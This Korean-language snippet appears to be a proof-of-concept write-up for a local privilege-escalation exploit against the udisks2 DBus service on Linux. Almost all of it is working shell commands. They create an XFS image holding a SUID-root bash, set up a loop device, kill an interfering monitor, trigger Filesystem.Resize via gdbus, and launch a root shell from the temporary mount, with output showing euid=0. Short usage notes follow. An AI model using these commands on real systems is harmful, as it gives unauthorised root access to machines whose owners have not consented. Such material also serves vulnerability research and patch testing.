
익스플로잇
udisks2 버전이 있는 Linux 시스템udisks2 서비스 (DBus 인터페이스)org.freedesktop.UDisks2.Filesystem.Resize 메서드/tmp/blockdev* 아래의 임시 마운트 지점dd if=/dev/zero of=./xfs.image bs=1M count=300
mkfs.xfs ./xfs.image
mkdir ./xfs.mount
mount -t xfs ./xfs.image ./xfs.mount
cp /bin/bash ./xfs.mount
chmod 04555 ./xfs.mount/bash # SUID 비트 설정
umount ./xfs.mount
# 시스템 기능 확인
gdbus call --system --dest org.freedesktop.login1 \
--object-path /org/freedesktop/login1 \
--method org.freedesktop.login1.Manager.CanReboot
# 간섭 제거
killall -KILL gvfs-udisks2-volume-monitor
# 루프 장치 설정
udisksctl loop-setup --file ./xfs.image --no-user-interaction
# 백그라운드 감시자 (SUID 바이너리가 나타나면 실행)
while true; do
/tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break
done 2>/dev/null &
# DBus를 통해 취약점 트리거
gdbus call --system --dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop0 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
/tmp/blockdev*/bash -p # 권한 있는 셸 실행
id
# uid=65534(nobody) gid=65534(nobody) euid=0(root)
익스플로잇은 logind 세션에서만 작동합니다!
udisksctl loop-setup --no-user-interaction 호출이 polkit에 의해 거부되므로 PoC가 "Failed to create loop device" 오류와 함께 종료됩니다.참고:
$ sudo bash exploit.sh create
$ bash exploit.sh exploit
